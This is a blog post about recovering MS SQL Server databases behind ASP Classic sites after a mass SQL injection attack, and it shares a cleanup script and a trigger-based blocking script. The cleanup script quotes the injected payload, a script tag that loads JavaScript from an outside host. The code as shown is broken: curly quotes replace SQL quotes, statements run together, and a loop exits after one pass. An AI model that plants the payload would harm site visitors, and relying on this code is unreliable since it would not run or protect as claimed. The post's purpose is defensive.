Had my hands full these past 2 months trying to fix SQL injected websites. It looks like this is the result of a recent string of attacks by Chinese hackers primarily exploiting websites running on ASP Classic with Microsoft SQL Server as the back-end database. Some of my sites had small amounts of data, which can be very easily cleaned up by hand. However, others can be quite huge and impossibly difficult for a brute force solution, that an automated script is necessary to fix the problem. After asking around one of my friends e-mailed me this. It gives no credit to the original source so if this is yours, please e-mail me so that I can give due credit.
Automatically clean up a database infected by SQL injection:
BEGIN
DECLARE @tblTable varchar(255), @colColumnName varchar(255), @Cmd NVARCHAR(4000)
DECLARE curSQLinjectionDataClean CURSOR FOR
SELECT a.name, b.name
FROM sysobjects a, syscolumns b
WHERE a.id = b.id AND a.xtype = ‘u’ AND(b.xtype = 99 OR
b.xtype = 35 OR
b.xtype = 231 OR
b.xtype = 167)
OPEN curSQLinjectionDataClean
FETCH NEXT FROM curSQLinjectionDataClean INTO @tblTable, @colColumnName
WHILE (@@FETCH_STATUS = 0)
BEGIN
SET @Cmd = ‘UPDATE [’ + @tblTable + ‘] SET [’ + @colColumnName + ‘] = LEFT([’ + @colColumnName + ‘], LEN([’ + @colColumnName + ‘]) - 69)WHERE [’+ @colColumnName + ‘] like ”%“></title><script src=”http://www3.800mg.cn/csrss/w.js”></script><!–”’
exec sp_executesql @Cmd
FETCH NEXT FROM curSQLinjectionDataClean INTO @tblTable, @colColumnName
END
CLOSE curSQLinjectionDataCleanDEALLOCATE curSQLinjectionDataClean
END
Replace “></title><script src=”http://www3.800mg.cn/csrss/w.js”></script><!– with the string that was injected. Note that this only clean records that are victims of SQL string injection.
To prevent future SQL injection:
BEGIN
DECLARE @tblInjectedTable TABLE (colTableName varchar(255))
DECLARE @tblInjectedColumn TABLE (colRecordID INT IDENTITY(1,1), colColumnName varchar(255))
DECLARE @tblTable varchar(255), @colColumnName varchar(255), @Cmd NVARCHAR(4000), @iCount SMALLINT, @iCountTo SMALLINT, @WhereCmd NVARCHAR(4000)
INSERT INTO @tblInjectedTable(colTableName)
SELECT DISTINCT a.name
FROM sysobjects a, syscolumns b
WHERE a.id = b.id AND a.xtype = ‘u’ AND b.length>99 AND(b.xtype = 99 OR
b.xtype = 35 OR
b.xtype = 231 OR
b.xtype = 167)
DECLARE curSQLInjectedTable CURSOR FOR
SELECT colTableName
FROM @tblInjectedTable
OPEN curSQLInjectedTable
FETCH NEXT FROM curSQLInjectedTable INTO @tblTableWHILE (@@FETCH_STATUS = 0)
BEGIN
SET @iCount = 2
INSERT INTO @tblInjectedColumn(colColumnName)
SELECT DISTINCT b.name
FROM sysobjects a, syscolumns b
WHERE a.id = b.id AND a.name = @tblTable AND a.xtype = ‘u’ AND b.length>99 AND(b.xtype = 99 OR
b.xtype = 35 OR
b.xtype = 231 OR
b.xtype = 167)
SELECT @iCountTo = COUNT(*) FROM @tblInjectedColumn
SELECT @colColumnName = colColumnName FROM @tblInjectedColumn WHERE colRecordID = 1
SET @WhereCmd = ‘WHERE ins.[’ + @colColumnName + ‘] LIKE ”%<script%”’WHILE @iCount <= @iCountTo
BEGIN
SELECT @colColumnName = colColumnName FROM @tblInjectedColumn WHERE colRecordID = @iCount
SET @WhereCmd = @WhereCmd + ‘OR ins.[’ + @colColumnName + ‘] LIKE ”%<script%”’
SET @iCount = @iCountTo + 1END
SET @Cmd = ‘CREATE TRIGGER t’ + @tblTable + ‘ ON [’ + @tblTable + ‘] FOR INSERT, UPDATE AS
BEGIN DECLARE @iCount BIGINT SET @iCount = 0 SELECT @iCount = COUNT(*) FROM inserted ins ‘
+ @WhereCmd + ‘ IF @iCount > 0 ROLLBACK TRANSACTION END’exec sp_executesql @Cmd
FETCH NEXT FROM curSQLInjectedTable INTO @tblTable
END
CLOSE curSQLInjectedTable
DEALLOCATE curSQLInjectedTable
END
This is all very easy to do. It took me less than two minutes to copy and paste the two code blocks above, make changes to the first one, and execute on MS SQL. Of course, I tested this first on a backup copy just in case. When trying out something unfamiliar for the first time, always make a backup copy!
Update (09/19/2008): attaching a downloadable version of the cleanup script. Get it here!